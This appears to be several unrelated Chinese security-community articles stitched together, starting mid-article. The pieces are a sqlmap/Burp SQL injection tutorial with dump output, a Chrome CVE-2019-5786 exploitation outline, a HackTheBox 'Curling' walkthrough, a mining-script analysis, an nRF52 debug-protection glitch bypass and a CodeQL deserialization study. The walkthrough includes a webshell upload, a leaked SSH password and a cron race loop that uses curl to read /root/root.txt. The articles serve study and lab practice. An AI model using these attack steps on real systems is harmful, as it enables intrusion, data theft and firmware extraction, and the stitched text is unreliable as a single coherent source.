在这里我们将要定义受规则影响的请求的范围。在“Tools
Scope”中代理并没有被默认选中（如果没有设置好这会影响到每一个经过Burp的请求）。为了在sqlmap中使用这个规则，我们需要使这个规则在代理中启用。为了限制使用范围我们使用“Use
suite scope”选项将其设置为只在测试站点使用。最后，我们限制“Parameter
Scope”只影响包含token参数的请求，这是我们唯一要修改的。最后点击OK关闭对话框。
这些就是我们需要为sqlmap设置的所有选项。现在当sqlmap的请求经过Burp代理时，Burp就会先发送一个请求到服务器然后用从中得到的token参数替换sqlmap的post请求中的参数值。
N.B：Burp不会在代理历史中展示被修改的请求。如果你认为macro并未正确的工作。你需要在Session标签Project选项中打开sessin
tracer。这个能够用来一步一步的移动每个请求然后你就可以观察请求中的变化了。
一旦macro被启动sqlmap就能够正确的在我们的网站中检测出SQL注入然后利用它。
[20:38:09] [INFO] POST parameter 'txtQuery' appears to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
[20:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[20:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF - comment)'
[20:38:19] [INFO] POST parameter 'txtQuery' appears to be 'Microsoft SQL Server/Sybase time-based blind (IF - comment)' injectable
[20:38:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:38:19] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:38:19] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[20:38:19] [INFO] target URL appears to have 1 column in query
正如你看到的那样，sqlmap发现了参数可注入而且现在我们可以使用sqlmap提取数据了。
[20:41:46] [INFO] fetching database users
[20:41:46] [WARNING] reflective value(s) found and filtering out
[20:41:46] [INFO] the SQL query used returns 2 entries
[20:41:46] [INFO] retrieved: animals
[20:41:47] [INFO] retrieved: sa
database management system users [2]:
[*] animals
[*] sa
<…SNIP…>
[20:42:44] [INFO] analyzing table dump for possible password hashes
Database: Animals
Table: AnimalImages
[4 entries]
+----+-----------+-------------+
| ID | imageData | description |
+----+-----------+-------------+
| 1 | blank | dog |
| 2 | blank | cat |
| 3 | blank | mouse |
| 4 | blank | musk ox |
+----+-----------+-------------+ | 社区文章 |
**作者：Kerne7@知道创宇404实验室**
**时间：2020年6月29日**
# 从补丁发现漏洞本质
首先根据谷歌博客收集相关CVE-2019-5786漏洞的资料：[ **High** CVE-2019-5786: Use-after-free in
FileReader](https://crbug.com/936448 "**High** CVE-2019-5786: Use-after-free
in FileReader")，得知是FileReader上的UAF漏洞。
然后查看<https://github.com/chromium/chromium/commit/ba9748e78ec7e9c0d594e7edf7b2c07ea2a90449?diff=split>上的补丁
对比补丁可以看到`DOMArrayBuffer* result =
DOMArrayBuffer::Create(raw_data_->ToArrayBuffer())`，操作放到了判断finished_loading后面，返回值也从result变成了array_buffer_result_（result的拷贝）。猜测可能是这个返回值导致的问题。
**分析代码**
`raw_data_->ToArrayBuffer()`可能会返回内部buffer的拷贝，或者是返回一个指向其偏移buffer的指针。
根据MDN中FileReader.readAsArrayBuffer()的描述：
> FileReader 接口提供的 readAsArrayBuffer() 方法用于启动读取指定的 Blob 或 File
> 内容。当读取操作完成时，readyState 变成 DONE（已完成），并触发 loadend 事件，同时 result 属性中将包含一个
> ArrayBuffer 对象以表示所读取文件的数据。
FileReader.onprogress事件在处理progress时被触发，当数据过大的时候，onprogress事件会被多次触发。
所以在调用FileReader.result属性的时候，返回的是WTF::ArrayBufferBuilder创建的WTF::ArrayBuffer对象的指针，Blob未被读取完时，指向一个WTF::ArrayBuffer副本，在已经读取完的时候返回WTF::ArrayBufferBuilder创建的WTF::ArrayBuffer自身。
那么在标志finished_loading被置为ture的时候可能已经加载完毕，所以onprogress和onloaded事件中返回的result就可能是同一个result。通过分配给一个worker来释放其中一个result指针就可以使另一个为悬挂指针，从而导致UAF漏洞。
# 漏洞利用思路
我选择的32位win7环境的Chrome72.0.3626.81版本，可以通过申请1GB的ArrayBuffer，使Chrome释放512MB保留内存，通过异常处理使OOM不会导致crash，然后在这512MB的内存上分配空间。
调用FileReader.readAsArrayBuffer，将触发多个onprogress事件，如果事件的时间安排正确，则最后两个事件可以返回同一个ArrayBuffer。通过释放其中一个指针来释放ArrayBuffer那块内存，后面可以使用另一个悬挂指针来引用这块内存。然后通过将做好标记的JavaScript对象（散布在TypedArrays中）喷洒到堆中来填充释放的区域。
通过悬挂的指针查找做好的标记。通过将任意对象的地址设置为找到的对象的属性，然后通过悬挂指针读取属性值，可以泄漏任意对象的地址。破坏喷涂的TypedArray的后备存储，并使用它来实现对地址空间的任意读写访问。
之后可以加载WebAssembly模块会将64KiB的可读写执行存储区域映射到地址空间，这样的好处是可以免去绕过DEP或使用ROP链就可以执行shellcode。
使用任意读取/写入原语遍历WebAssembly模块中导出的函数的JSFunction对象层次结构，以找到可读写可执行区域的地址。将WebAssembly函数的代码替换为shellcode，然后通过调用该函数来执行它。
通过浏览器访问网页，就会导致执行任意代码
# 帮助
本人在初次调试浏览器的时候遇到了很多问题，在这里列举出一些问题来减少大家走的弯路。
因为chrome是多进程模式，所以在调试的时候会有多个chrome进程，对于刚开始做浏览器漏洞那话会很迷茫不知道该调试那个进程或者怎么调试，可以通过chrome自带的任务管理器来帮我们锁定要附加调试的那个进程ID。
这里新的标签页的进程ID就是我们在后面要附加的PID。
Chrome调试的时候需要符号，这是google提供的[符号服务器](https://chromium-browser-symsrv.commondatastorage.googleapis.com
"符号服务器")（加载符号的时候需要翻墙）。在windbg中，您可以使用以下命令将其添加到符号服务器搜索路径，其中c：\Symbols是本地缓存目录：
.sympath + SRV * c：\ Symbols * https：//chromium-browser-symsrv.commondatastorage.googleapis.com
因为Chrome的沙箱机制，在调试的过程中需要关闭沙箱才可以执行任意代码。可以在快捷方式中添加`no-sandbox`来关闭沙箱。
由于这个漏洞机制的原因，可能不是每次都能执行成功，但是我们可以通过多次加载脚本的方式来达到稳定利用的目的。
在github上有chromuim的源码，在分析源码的时候推荐使用sourcegraph这个插件，能够查看变量的定义和引用等。
在需要特定版本Chrome的时候可以自己去build源码或者去网络上寻找chrome历代发行版收集的网站。
在看exp和自己编写的时候需要注意v8引擎的指针问题，v8做了指针压缩，所以在内存中存访的指针可能和实际数据位置地址有出入。
# 参考链接：
1. <https://www.anquanke.com/post/id/194351>
2. <https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/>
3. <https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/>
* * * | 社区文章 |
1、nmap -v -sC 10.10.10.150
发现存在一个joomscan cms
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
2、尝试使用joomscan扫描，发现版本是3.8.8的
joomscan -u <http://10.10.10.150/>
[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 3.8.8
[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable
[+] Checking Directory Listing
[++] directory has directory listing :
http://10.10.10.150/administrator/components
http://10.10.10.150/administrator/modules
http://10.10.10.150/administrator/templates
http://10.10.10.150/images/banners
[+] Checking apache info/status files
[++] Readable info/status files are not found
[+] admin finder
[++] Admin page : http://10.10.10.150/administrator/
[+] Checking robots.txt existing
[++] robots.txt is not found
[+] Finding common backup files name
[++] Backup files are not found
[+] Finding common log files name
[++] error log is not found
[+] Checking sensitive config.php.x file
[++] Readable config files are not found
Your Report : reports/10.10.10.150/
查了一下joolma 3.8.8版本并没有什么能够getshell的漏洞
根据提示第一阶段：枚举。检查所有内容（包括页面源）并查找常见的文件扩展名。您登录所需的一切就在您的面前。一旦您登录，您可能需要先研究一下，然后才能弄清楚如何在系统上执行命令，但这非常非常简单。
我们先看标题Cewl ，这个查了一下是一个爬取单词的工具。好像并没发现什么
cewl -d 2 -m 5 <http://10.10.10.150/>
这里显示的是部分内容
> curling
> Curling
> Print
> Uncategorised
> first
> Begin
> Content
> Right
> Sidebar
> Username
> Password
> Forgot
我们查看一下源代码body标签下方有个注释文件
<!-- secret.txt -->
访问一下secret.txt得到一串MD5加密字符串
> Q3VybGluZzIwMTgh
> 解密：Curling2018!
我们可以看到页面上有一个Curling2018,下方有个作者Floris。
这里可能存在某种关联，尝试后台登陆
我们访问后台地址<http://10.10.10.150/administrator/>
输入用户名/密码
Floris/Curling2018!
寻找上传点，修改joomla的配置文件，后缀名允许上传php，发现还是上传不成功。
去社区看了一下讨论，存在一个RCE。不过这个我没找到。
在网上找到一个Templates 上传shell的方法。
在导航栏找到Extensions->Templates->Templates 打开
然后找到Beez3 Details and Files ,点开链接。点击New File
创建一个php文件
然后输入你要写入的php shell内容。
使用nc接收webshell。
然后打开链接<http://10.10.10.150/templates/beez3/webshell.php>
提示第二阶段（用户）：如果文件的前几个字节看起来很熟悉，那是因为它们是。如果他们不是，谷歌他们。无论哪种方式，弄清楚如何将数据转换为其他东西，然后重复。最终你会得到一个明文或其他的明文，你知道如何处理。
我们打开/home/floris 发现user.txt，但是并没有权限查看
根据上面的提示我们查看/home/floris/里面可以查看的文件。
cat password_backup
查看前面的文件头425a68是一个压缩文件头
可以使用Bzip2算法的 压缩文件
把该文件放到kali下使用bzip命令,然后直接打开压缩包有个password.txt文件，有一个账号密码
bzip2 -d password_backup.tar.bz2
ssh账号密码：
flort/5d<wdCbdZu)|hChXll
cat user.txt
尝试看一下进程变化，使用ps命令然后间隔几分钟分别输出a.txt、b.txt。最后使用diff a.txt b.txt比较
ps -ef > a.txt
ps -ef > b.txt
diff a.txt b.txt
这里是比较出来的部分内容，看到cron，是个定时任务的命令
再看看cat /root/default.txt> 最后输出到input
> root 1954 1062 0 07:10 ? 00:00:00 /usr/sbin/CRON -f
> root 1957 1954 0 07:10 ? 00:00:00 /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
> root 1959 1957 0 07:10 ? 00:00:00 sleep 1
我们可以cat /home/floris/admin-area/input 。发现没啥信息。那应该就是修改cron里面的任务计划，去cat
/root/root.txt。然后再查看admin-area/input文件了
但是发现这里并不是这样去完成的，我们换个思路，监听新进程，然后看cron执行了什么操作，然后再分析一波。
通过不断的去查看新的进程，输出出来，就能找到定时任务执行的命令了。
while true; do ps -ef | grep sh | grep -v sshd |grep root;done;
分析了一下定时任务通过curl -K 读取文件，把获取到的内容写入report
我们在1.txt写入内容
> url = "file:///root/root.txt"
然后通过cp不断的去竞争input，写入file:///root/root.txt。
然后curl 就会读取到root.txt写入report了
while true; do cp -p /tmp/1.txt /home/floris/admin-area/input;done;
最后cat写入的文件就拿到flag啦
cat report
最后致谢一下金师傅给的提示！
参考
<https://fly8wo.github.io/2018/10/21/Joomla%E6%B8%97%E9%80%8F-%E6%9D%83%E9%99%90%E8%8E%B7%E5%8F%96%E4%B8%8E%E7%BB%B4%E6%8C%81/> | 社区文章 |
某朋友告诉我，他们那边服务器发现异常。从服务器上面发现了一段脚本。让我帮忙看看。
接着我就顺藤摸瓜的开始看脚本。
附件内容有完整的
从代码里发现了几个IP地址。
写个脚本看看有多少。
从这里发现这三个ip地址都不属于大陆。给我第一感觉这是挖矿的。。。
继续看脚本
我大概翻译下这些终端命令
这些命令应该是查看这台服务器上面的配置信息。
继续往下看。
再翻译点，这段主要是关闭这台服务器上吗的防火墙、开启45560的端口
这段让我发现了一台ftp的服务器帐号密码 ，下载服务器上面内容，
登陆这台ftp服务器看看里面内容
资历有限先查看下httpd.conf内容
user应该是某某挖矿的帐号密码。密码为X
再看看这里面IP地址
全部均为法国地址。从目前来看。牵扯地址由香港、德国、美国、法国而来，从此分析这个黑产挖矿团队应该不小。
algo是cryptonight？这是什么 。百度看看
原来这是门罗币。
看见了这些，就证明了我之前的判断没有错。这是一个专业挖矿团队
这些下载的东西应该也和他们挖矿有关吧。
脚本就先到此。 | 社区文章 |
**作者：轨道教主
原文链接：<https://www.bilibili.com/read/cv17283492>**
# 漏洞原理
在nRF52芯片中为防止出现nRF51中所出现的漏洞，芯片厂加入了APPROTECT功能来防止调试接口在保护状态下被使用，此功能通过直接断开调试接口与cpu的通讯来进行实现
APPROTECT的启用为用户信息配置寄存器 （UICR）中的地址0x10001208写入0xFFFFFF00
在上电过程中AHB-AP（调试端口）会根据UICR中的值进行初始化，控制APPROTECT是否被打开。也就是读取地址0x10001208，判断其是否为0xFFFFFF00
而UICR中的值则保存在内存控制器中 因此AHB-AP的初始化的过程中需要读取地址，则需要和内存控制器进行通讯。这个过程会导致芯片能耗产生改变，以便通过芯片能耗对此过程进行定位。
基于以上，使用示波器对芯片能耗进行分析，可以通过电压捕获到AHB-AP的初始化的过程，并在初始化过程中进行对芯片施加一个极短的电压来干扰芯片正常运行，使芯片产生错误，这个错误将导致初始化出错，最终导致APPROTEC未按正常情况被启用。
（示波器观察到的芯片能耗曲线）
# 环境搭建
这里为保险起见购买一块开发板，并没有在原设备进行复现，复现成功后再对设备进行
（所使用的开发板nrf52832）
# 搭建开发环境
官网下载nrfjprog调试工具<https://www.nordicsemi.com/Products/Development-tools/nRF-Command-Line-Tools/Download>
查看芯片状态并备份固件（开发板里自带的流水灯）
APPROTECT未启用正常读取固件
使用指令nrfjprog --memwr 0x10001208 --val 0xFFFFFF00 写入地址启用APPROTECT。
修改完成，重启开发板
APPROTECT已被启用，可以开始进行攻击。
# 漏洞复现
根据漏洞描述，攻击流程为芯片上电后对CPU 电源线DEC1进行毛刺注入（短接接地）
根据芯片手册可以得知DEC1引脚位置，并根据走线配合万用表查找电容连接点
焊接导线进行测试，在这里去掉了C5电容，根据相关文章描述此电容去除后可以增加成功概率但会降低cpu稳定性。一般情况建议保留，在这里去除是因为操作失误碰掉了装不回去（我太菜了）（写完了才发现C11也不见了。。。对。。。也是我碰掉的。。这个根本不用去）
示波器探头接DEC1，捕捉电压
可看到1.3ms左右出现一个下降沿（200mv左右），此下降沿位置即为需要进行的注入点
由于属于芯片的启动过程较为固定，因此从芯片上电，到注入点的时间也相对固定。我们只需要通过示波器获得上电后至下降沿大致时间，并使用一个设备对芯片进行上电，并在上电后的指定时间进行短接即可完成攻击
# 攻击设备搭建
这里我选用了Arduino进行攻击，Arduino可以使用延迟函数delayMicroseconds()，让我们可以以微秒时间操作硬件上电后的毛刺注入时间（任何可以操作微秒的单片机等均可，比如树莓派或ESP32，这里用Arduino是因为较为便宜）
搭建电路如下，MOS管均为P沟道mos，Arduino
10口控制MOS进行芯片上电（因p沟道MOS特性，实际为控制芯片负极连接，因此会导致芯片在下电情况下示波器等设备测到的电压为高电平，使用N沟道可解决此问题，但并不影响漏洞复现）Arduino
9口控制MOS短接DEC1接地。
接线示意图
实际攻击现场
攻击流程如图
大致攻击流程如图所示，但是仍需要解决几点问题
1.如何准确找到注入点
2.短接DEC1时间需要多久
而这两点问题其实都可以通过爆破的方式进行解决
# 编写下位机
Arduino程序
大致思路为示波器获取到的时间减去50微秒
每次增加1微秒进行爆破，同时短接时间设定为1-12微秒进行尝试。在每次收到串口发送的1时开始一次尝试（这里有一点需要说明，delayMicroseconds确实可以微秒控制，但是Arduino自身存在延迟，导致即使不使用延时函数也将出现一个大约5微秒的延迟，使用delayMicroseconds则是在5微秒延迟上增加时间）
# 编写上位机
这里还需要一个上位机利用JLink尝试使用调试端口读取内存，如果读取失败通过串口发送指令到Arduino开始下一次攻击，直到攻击成功为止
CH0（黄色）：DEC1电压 CH1（绿色）：MOS控制电压
CH0（黄色）：DEC1电压 CH1（绿色）：MOS控制电压
可以看到JLink正常读取了内存地址，而内存地址显示APPROTECT被启用，攻击成功
CH0（黄色）：DEC1电压 CH1（绿色）：MOS控制电压
这里给出我成功的两个参数，攻击时间大致为上电后的1250微秒，短接时间大致在5-15微秒
攻击成功在示波器上的特征为电压不再下降，同时JLink可正常调试并备份固件。
完成备份后可以修改锁定位，并将固件重新刷回设备，使设备可以进行动态调试。
参考资料
[https://limitedresults.com/2020/06/nrf52-debug-resurrection-APProtect-bypass/](https://limitedresults.com/2020/06/nrf52-debug-resurrection-approtect-bypass/ "https://limitedresults.com/2020/06/nrf52-debug-resurrection-APProtect-bypass/")
<https://blog.csdn.net/qq_33917045/article/details/120580025>
<https://www.shutingrz.com/post/voltage-fault-injection-nrf52/>
<https://limitedresults.com/2020/06/nrf52-debug-resurrection-APProtect-bypass-part-2/>
* * * | 社区文章 |
# 从Java反序列化漏洞题看CodeQL数据流
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本次实验项目源码来源之前我写的Shiro-CTF的源码<https://github.com/SummerSec/JavaLearnVulnerability/tree/master/shiro/shiro-ctf> ，项目需要database文件上传到GitHub项目 **[learning-codeql](https://github.com/SummerSec/learning-codeql)** 上。
本文的漏洞分析文章[一道shiro反序列化题目引发的思考](https://summersec.github.io/2021/03/05/%E4%B8%80%E9%81%93shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%A2%98%E7%9B%AE%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83/)
，看本文之前看完这漏洞分析会更好的理解。但本文会从全新的角度去挖掘审计漏洞，但难免会有之前既定思维。如果你有兴趣和我一起交流学习CodeQL可以联系summersec#qq.com。
* * *
## 找到可以序列化的类
挖掘反序列化漏洞，首先得找到入口。可以反序列化的类首先肯定是实现了接口`Serializable`，其次会有一个字段`serialVersionUID`，所以我们可以从找字段或者找实现接口`Serializable`入手进行代码分析。
1. `TypeSerializable` 类，在JDK中声明
2. `instanceof` 断言
3. `fromSource` 谓词判断来着项目代码排除JDK自带
4. `getASupertype` 递归，父类类型
import java
/*找到可以序列化类，实现了Serializable接口 */
from Class cl
where
cl.getASupertype() instanceof TypeSerializable
/* 递归判断类是不是实现Serializable接口*/
and
cl.fromSource()
/* 限制来源 */
select cl
/* 查询语句 */
点击查询出来的结果可以看到对应的查询结果源码
## 找User类实例化代码
使用`RefType.hasQualifiedName(string packageName, string
className)`来识别具有给定包名和类名的类，这里使用一个类继承`RefType`，使代码可读性更高点。例如下面两端QL代码是等效的：
import java
from RefType r
where r.hasQualifiedName("com.summersec.shiroctf.bean", "User")
select r
import java
/* 找到实例化User的类 */
class MyUser extends RefType{
MyUser(){
this.hasQualifiedName("com.summersec.shiroctf.bean", "User")
}
}
from ClassInstanceExpr clie
where
clie.getType() instanceof MyUser
select clie
可以发现在`IndexController`类59行处实例化`User`类。
`IndexController`：
package com.summersec.shiroctf.controller;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.summersec.shiroctf.Tools.LogHandler;
import com.summersec.shiroctf.Tools.Tools;
import com.summersec.shiroctf.bean.User;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
@Controller
public class IndexController {
public IndexController() {
}
@GetMapping({"/"})
public String main() {
return "redirect:login";
}
@GetMapping({"/index/{name}"})
public String index(HttpServletRequest request, HttpServletResponse response, @PathVariable String name) throws Exception {
Cookie[] cookies = request.getCookies();
boolean exist = false;
Cookie cookie = null;
User user = null;
if (cookies != null) {
Cookie[] var8 = cookies;
int var9 = cookies.length;
for(int var10 = 0; var10 < var9; ++var10) {
Cookie c = var8[var10];
if (c.getName().equals("hacker")) {
exist = true;
cookie = c;
break;
}
}
}
if (exist) {
byte[] bytes = Tools.base64Decode(cookie.getValue());
user = (User)Tools.deserialize(bytes);
} else {
user = new User();
user.setID(1);
user.setUserName(name);
cookie = new Cookie("hacker", Tools.base64Encode(Tools.serialize(user)));
response.addCookie(cookie);
}
request.setAttribute("hacker", user);
request.setAttribute("logs", new LogHandler());
return "index";
}
}
* * *
## 查看Tools类源码是否存在问题
查看源码有`Base64`编码解码函数、序列化、反序列化以及`exeCmd`方法，该函数可以执行命令
对于`Tools#deserialize`方法可以编写规则：
import java
class Deserialize extends RefType{
Deserialize(){
this.hasQualifiedName("com.summersec.shiroctf.Tools", "Tools")
}
}
class DeserializeTobytes extends Method{
DeserializeTobytes(){
this.getDeclaringType() instanceof Deserialize
and
this.hasName("deserialize")
}
}
from DeserializeTobytes des
select des
对于`Tools#exeCmd`方法的调用可以找到，可以发现`LogHandler`类调用了两次`exeCmd`方法。
import java
/* 找到调用exeCmd方法 */
from MethodAccess exeCmd
where exeCmd.getMethod().hasName("exeCmd")
select exeCmd
下面是`exeCmd`方法的源码，不能发现可以执行任何命令，传入的参数`commandStr`即是将被执行的命令。
public static String exeCmd(String commandStr) {
BufferedReader br = null;
String OS = System.getProperty("os.name").toLowerCase();
try {
Process p = null;
if (OS.startsWith("win")){
p = Runtime.getRuntime().exec(new String[]{"cmd", "/c", commandStr});
}else {
p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", commandStr});
}
br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
StringBuilder sb = new StringBuilder();
while((line = br.readLine()) != null) {
sb.append(line + "\n");
}
return sb.toString();
} catch (Exception var5) {
var5.printStackTrace();
return "error";
}
}
* * *
## 精简代码逻辑
对`IndexController`简单提炼处理逻辑，画出数据流流程图：
HttpServletRequest request = null
Cookie[] cookies = request.getCookies();
Cookie cookie = c
byte[] bytes = Tools.base64Decode(cookie.getValue());
user = (User)Tools.deserialize(bytes);
目前就有以下几点：
1. `request`和`bytes`是有联系的
2. 预期是将`request`作为`source`，`sink`是`deserialize()#bytes`
3. `Tools#exeCmd`方法肯定是可以被利用的
4. `Loghandler`类的目的？
* * *
## 污点分析
### 污点分析简单介绍
现在已经确定了(a)程序中接收不受信任数据的地方和(b)程序中可能执行不安全的反序列化的地方。现在把这两个地方联系起来：未受信任的数据是否流向潜在的不安全的反序列化调用？在程序分析中，我们称之为`数据流`问题。数据流作用：这个表达式是否持有一个源程序中某一特定地方的值呢？
污点分析是一种跟踪并分析污点信息在程序中流动的技术。在漏洞分析中，使用污点分析技术将所感兴趣的数据（通常来自程序的外部输入）标记为 **污点数据**
，然后通过跟踪和污点数据相关的信息的流向，可以知道它们是否会影响某些关键的程序操作，进而挖掘程序漏洞。
在CodeQL提供了数据流分析的模块，分为全局数据流、本地数据流、远程数据流。数据流分析有一般有以下几点：
* `source` 定义污染数据即污点
* `sink` 判断污点数据流出
* `sanitizers` 对数据流判断无害处理（可选）
* `additionalTaintStep` CodeQL增加判断污染额外步骤（可选）
Example：
int func(int tainted) {
int x = tainted;
if (someCondition) {
int y = x;
callFoo(y);
} else {
return x;
}
return -1;
}
上面的方法的数据流图是下面这样子，这个图表示污点参数的数据流。图的节点代表有值的程序元素，如函数参数和表达式。该图的边代表流经这些节点的流量。变量 y
的取值依赖于变量 x 的取值，如果变量 x 是污染的，那么变量 y 也应该是污染的。
更多学习资料：
[污点分析简单介绍](https://0range228.github.io/%E6%B1%A1%E7%82%B9%E5%88%86%E6%9E%90%E7%AE%80%E5%8D%95%E4%BB%8B%E7%BB%8D/)
对污点分析做了详细的介绍
[CodeQL-数据流在Java中的使用](https://github.com/haby0/mark/blob/master/articles/2021/CodeQL-%E6%95%B0%E6%8D%AE%E6%B5%81%E5%9C%A8Java%E4%B8%AD%E7%9A%84%E4%BD%BF%E7%94%A8.md)
百度某大佬对CodeQL数据流分析的见解
[CodeQL workshop for Java Unsafe deserialization in Apache
Struts](https://summersec.github.io/2021/03/28/CodeQL%20workshop%20for%20Java%20Unsafe%20deserialization%20in%20Apache%20Struts/)
官方对数据流分析简单介绍（中英对照翻译版）
* * *
### 确定source和sink
首先确定一下`source`和`sink`，现在可以知道的是`IndexController`类中的`index`函数的参数`request`是可以用户可控可以作为一个`source`。然后现在目前已知可以反序列化函数点在`Tools#deserialize`方法的传入参数`bytes`，可以作为一个`sink`。
**Source部分**
class Myindex extends RefType{
Myindex(){
this.hasQualifiedName("com.summersec.shiroctf.controller", "IndexController")
}
}
class MyindexTomenthod extends Method{
MyindexTomenthod(){
this.getDeclaringType().getAnAncestor() instanceof Myindex
and
this.hasName("index")
}
}
**Sink部分**
predicate isDes(Expr arg){
exists(MethodAccess des |
des.getMethod().hasName("deserialize")
and
arg = des.getArgument(0)
)
}
source部分可以查到request，sink部分可以查到bytes。
* * *
**全局数据流模板**
/**
* @name Unsafe shiro deserialization
* @kind problem
* @id java/unsafe-deserialization
*/
import java
import semmle.code.java.dataflow.DataFlow
// TODO add previous class and predicate definitions here
class ShiroUnsafeDeserializationConfig extends DataFlow::Configuration {
ShiroUnsafeDeserializationConfig() { this = "ShiroUnsafeDeserializationConfig" }
override predicate isSource(DataFlow::Node source) {
exists(/** TODO fill me in **/ |
source.asParameter() = /** TODO fill me in **/
)
}
override predicate isSink(DataFlow::Node sink) {
exists(/** TODO fill me in **/ |
/** TODO fill me in **/
sink.asExpr() = /** TODO fill me in **/
)
}
}
from ShiroUnsafeDeserializationConfig config, DataFlow::Node source, DataFlow::Node sink
where config.hasFlow(source, sink)
select sink, "Unsafe Shiro deserialization"
* isSource() 定义了数据可能从哪里流出。
* isSink()定义了数据可能流向的地方。
* * *
## 第一次尝试
CodeQL的注释部分是对查询结果有影响的，`[@kind](https://github.com/kind
"@kind")`关键词将`problem`转换为 `path -problem`告诉CodeQL工具将这个查询的结果解释为路径结果。
第一次完整QL代码：
/**
* @name Unsafe shiro deserialization
* @kind path-problem
* @id java/unsafe-deserialization
*/
import java
import semmle.code.java.dataflow.DataFlow
import semmle.code.java.dataflow.TaintTracking
predicate isDes(Expr arg){
exists(MethodAccess des |
des.getMethod().hasName("deserialize")
and
arg = des.getArgument(0))
}
class Myindex extends RefType{
Myindex(){
this.hasQualifiedName("com.summersec.shiroctf.controller", "IndexController")
}
}
class MyindexTomenthod extends Method{
MyindexTomenthod(){
this.getDeclaringType().getAnAncestor() instanceof Myindex
and
this.hasName("index")
}
}
class ShiroUnsafeDeserializationConfig extends TaintTracking::Configuration {
ShiroUnsafeDeserializationConfig() {
this = "ShiroUnsafeDeserializationConfig"
}
override predicate isSource(DataFlow::Node source) {
exists(MyindexTomenthod m |
// m.
source.asParameter() = m.getParameter(0)
)
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg|
isDes(arg) and
sink.asExpr() = arg /* bytes */
)
}
}
from ShiroUnsafeDeserializationConfig config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select sink, source, sink, "Unsafe Shiro deserialization"
查询时报错：
Exception during results interpretation: Interpreting query results failed: A fatal error occurred: Could not process query metadata.
Error was: Expected result pattern(s) are not present for query kind "path-problem": Expected between two and four result patterns. [INVALID_RESULT_PATTERNS]
[2021-04-06 15:53:16] Exception caught at top level: Could not process query metadata.
Error was: Expected result pattern(s) are not present for query kind "path-problem": Expected between two and four result patterns. [INVALID_RESULT_PATTERNS]
com.semmle.cli2.bqrs.InterpretCommand.executeSubcommand(InterpretCommand.java:123)
com.semmle.cli2.picocli.SubcommandCommon.executeWithParent(SubcommandCommon.java:414)
com.semmle.cli2.execute.CliServerCommand.lambda$executeSubcommand$0(CliServerCommand.java:67)
com.semmle.cli2.picocli.SubcommandMaker.runMain(SubcommandMaker.java:201)
com.semmle.cli2.execute.CliServerCommand.executeSubcommand(CliServerCommand.java:67)
com.semmle.cli2.picocli.SubcommandCommon.call(SubcommandCommon.java:430)
com.semmle.cli2.picocli.SubcommandMaker.runMain(SubcommandMaker.java:201)
com.semmle.cli2.picocli.SubcommandMaker.runMain(SubcommandMaker.java:209)
com.semmle.cli2.CodeQL.main(CodeQL.java:91)
. Will show raw results instead.
当时询问了几个大佬，没解决之后，去GitHub实验室的Discussion去提问老外帮忙解决的。[Discussion332](https://github.com/github/securitylab/discussions/332)
大致意思时导入`import DataFlow::PathGraph`而不是`import
semmle.code.java.dataflow.TaintTracking`
## 第二次尝试
/**
* @name Unsafe shiro deserialization
* @kind path-problem
* @id java/unsafe-deserialization
*/
import java
import semmle.code.java.dataflow.DataFlow
//import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
predicate isDes(Expr arg){
exists(MethodAccess des |
des.getMethod().hasName("deserialize")
and
arg = des.getArgument(0))
}
class Myindex extends RefType{
Myindex(){
this.hasQualifiedName("com.summersec.shiroctf.controller", "IndexController")
}
}
class MyindexTomenthod extends Method{
MyindexTomenthod(){
this.getDeclaringType().getAnAncestor() instanceof Myindex
and
this.hasName("index")
}
}
class ShiroUnsafeDeserializationConfig extends TaintTracking::Configuration {
ShiroUnsafeDeserializationConfig() {
this = "ShiroUnsafeDeserializationConfig"
}
override predicate isSource(DataFlow::Node source) {
exists(MyindexTomenthod m |
// m.
source.asParameter() = m.getParameter(0)
)
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg|
isDes(arg) and
sink.asExpr() = arg /* bytes */
)
}
}
from ShiroUnsafeDeserializationConfig config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select sink, source, sink, "Unsafe Shiro deserialization"
第二次尝试并没有任何报错，但没有任何结果，遗憾收场。
* * *
## 第三次尝试
